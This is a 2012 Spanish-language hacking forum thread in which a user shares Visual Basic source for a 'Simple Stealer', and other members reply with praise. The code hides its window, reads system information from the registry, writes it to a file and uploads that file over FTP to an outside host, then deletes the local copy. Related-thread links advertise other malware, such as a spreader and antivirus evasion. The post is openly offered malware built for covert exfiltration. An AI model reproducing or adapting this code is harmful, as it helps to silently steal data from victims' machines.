send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[SCR] Simple Stealer

  • 3 Respuestas
  • 1729 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado k0ws

  • *
  • Underc0der
  • Mensajes: 145
  • Actividad:
    0%
  • Reputación 0
  • I'm Back
    • Ver Perfil
  • Skype: k0wsit0
« en: Marzo 31, 2012, 06:29:36 pm »
Bueno,aqui os dejo este source,lo unico que necesitareis sera el modulo cFTP de cobein.

Código: Visual Basic
  1. 'Codeado por k0ws/respeta el autor
  2. Option Explicit
  3. Dim cFTP As New mFTP
  4. Private Sub Form_Load()
  5. Me.Hide
  6. Dim yo As Object
  7. Set yo = CreateObject("wscript.shell")
  8. Dim so As String
  9. so = yo.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Productname")
  10. Text1.text = "Tu Remoto Usa: " & so
  11. Call Mandar()
  12. End Sub
  13.  
  14. Function Mandar()
  15. Dim Stealed As String
  16. Dim ftpHost As String
  17. Dim ftpUser As String
  18. Dim ftpPass As String
  19. Stealed = Environ("homedrive") & "\" & Environ("ComputerName") & StrReverse("txt.")
  20. ftpHost = ftp.host.net
  21. ftpUser = GAY
  22. ftpPass = GAY2
  23. Open Stealed For Output As #1
  24. Print #1, Text1.Text
  25. Close #1
  26. cFTP.Connect ftpHost, ftpUser, ftpPass, 21, True, eAT_Direct, vbNullString, vbNullString
  27. cFTP.PutFile Stealed, Environ("ComputerName") & StrReverse("txt.")
  28. cFTP.Disconnect
  29. '
  30. Kill Stealed
  31. '
  32. END
  33. End Function

-Saludos-
« Última modificación: Enero 31, 2013, 02:10:24 pm por k0ws »

Desconectado Pr0ph3t

  • *
  • Underc0der
  • Mensajes: 443
  • Actividad:
    0%
  • Reputación 0
  • © Underc0de Team
    • Ver Perfil
  • Skype: thebrowfc
« Respuesta #1 en: Marzo 31, 2012, 07:07:34 pm »
Muy bueno crack
Twitter: @The_Pr0ph3t
pr0ph3t@hotmail.es

Desconectado Sanko

  • *
  • Underc0der
  • Mensajes: 541
  • Actividad:
    0%
  • Reputación 0
  • ¿Puedes?
    • Ver Perfil
    • Underc0de
« Respuesta #2 en: Marzo 31, 2012, 08:29:42 pm »
Muy buena
A rippear ! , no son bromas XD
no rippeen putos
Sigueme en Twitter : @Sankosk
Estos nuevos staff no tienen puta idea XD

Desconectado Pr0ph3t

  • *
  • Underc0der
  • Mensajes: 443
  • Actividad:
    0%
  • Reputación 0
  • © Underc0de Team
    • Ver Perfil
  • Skype: thebrowfc
« Respuesta #3 en: Marzo 31, 2012, 08:31:14 pm »
You are not allowed to view links. Register or Login
Muy buena
A rippear ! , no son bromas XD
no rippeen putos

Lol, habrá alguno que seguro que lo hará.
Twitter: @The_Pr0ph3t
pr0ph3t@hotmail.es

 

¿Te gustó el post? COMPARTILO!



[VB6] Simple DropBox-Spreader

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2273
Último mensaje Agosto 26, 2013, 12:52:56 am
por ANTRAX
Fudeando .vbs a Nod32 [Simple]

Iniciado por Janpr99

Respuestas: 1
Vistas: 1636
Último mensaje Noviembre 03, 2013, 02:37:10 pm
por Cronos
[VB] Melt Simple

Iniciado por Juan

Respuestas: 0
Vistas: 1244
Último mensaje Agosto 30, 2010, 06:31:44 pm
por Juan